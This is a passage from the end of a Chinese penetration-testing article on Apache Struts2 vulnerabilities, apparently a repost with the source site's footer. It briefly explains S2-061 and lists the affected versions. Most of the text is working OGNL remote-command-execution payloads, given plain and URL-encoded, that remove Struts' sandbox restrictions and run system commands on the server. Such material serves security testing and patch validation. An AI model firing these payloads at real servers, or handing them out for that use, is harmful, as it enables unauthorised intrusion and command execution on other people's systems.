%25%7b(%23dm%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS).(%23ct%3d%23request%5b%27struts.valueStack%27%5d.context).(%23cr%3d%23ct%5b%27com.opensymphony.xwork2.ActionContext.container%27%5d).(%23ou%3d%23cr.getInstance(%40com.opensymphony.xwork2.ognl.OgnlUtil%40class)).(%23ou.setExcludedPackageNames(%27%27)).(%23ou.setExcludedClasses(%27%27)).(%23ct.setMemberAccess(%23dm)).(%23a%3d%40java.lang.Runtime%40getRuntime().exec(%27id%27)).(%40org.apache.commons.io.IOUtils%40toString(%23a.getInputStream()))%7d
🌷S2-061
🌼1、漏洞原理
s2-061是一个远程命令执行的漏洞,Struts2会对某些标签属性(比如id,其他属性有待寻找)的属性值进行二次表达式解析,因此当这些标签属性中使用了%{x}且x的值用户可控时,用户再传入一个%{payload}即可造成OGNL表达式执行。S2-061是对S2-059沙盒进行的绕过。
🌼2、影响版本
Apache Struts 2.0.0 - 2.5.25
🌼3、漏洞验证
🍓POC:
%{(#instancemanager=#application['org.apache.tomcat.InstanceManager']).
(#stack=#request['struts.valueStack']).
(#bean=#instancemanager.newInstance('org.apache.commons.collections.BeanMap')).
(#bean.setBean(#stack)).
(#context=#bean.get('context')).
(#bean.setBean(#context)).
(#macc=#bean.get('memberAccess')).
(#bean.setBean(#macc)).
(#emptyset=#instancemanager.newInstance('java.util.HashSet')).
(#bean.put('excludedClasses',#emptyset)).
(#bean.put('excludedPackageNames',#emptyset)).
(#arglist=#instancemanager.newInstance('java.util.ArrayList')).
(#arglist.add('id')).
(#execute=#instancemanager.newInstance('freemarker.template.utility.Execute')).
(#execute.exec(#arglist))}
🍓URL编码后:
%25%7b(%23instancemanager%3d%23application%5b%27org.apache.tomcat.InstanceManager%27%5d).%0d%0a(%23stack%3d%23request%5b%27struts.valueStack%27%5d).%0d%0a(%23bean%3d%23instancemanager.newInstance(%27org.apache.commons.collections.BeanMap%27)).%0d%0a(%23bean.setBean(%23stack)).%0d%0a(%23context%3d%23bean.get(%27context%27)).%0d%0a(%23bean.setBean(%23context)).%0d%0a(%23macc%3d%23bean.get(%27memberAccess%27)).%0d%0a(%23bean.setBean(%23macc)).%0d%0a(%23emptyset%3d%23instancemanager.newInstance(%27java.util.HashSet%27)).%0d%0a(%23bean.put(%27excludedClasses%27%2c%23emptyset)).%0d%0a(%23bean.put(%27excludedPackageNames%27%2c%23emptyset)).%0d%0a(%23arglist%3d%23instancemanager.newInstance(%27java.util.ArrayList%27)).%0d%0a(%23arglist.add(%27id%27)).%0d%0a(%23execute%3d%23instancemanager.newInstance(%27freemarker.template.utility.Execute%27)).%0d%0a(%23execute.exec(%23arglist))%7d
文章来源:https://www.toymoban.com/news/detail-408760.html
文章来源地址https://www.toymoban.com/news/detail-408760.html
到了这里,关于【渗透测试】Struts2系列漏洞的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!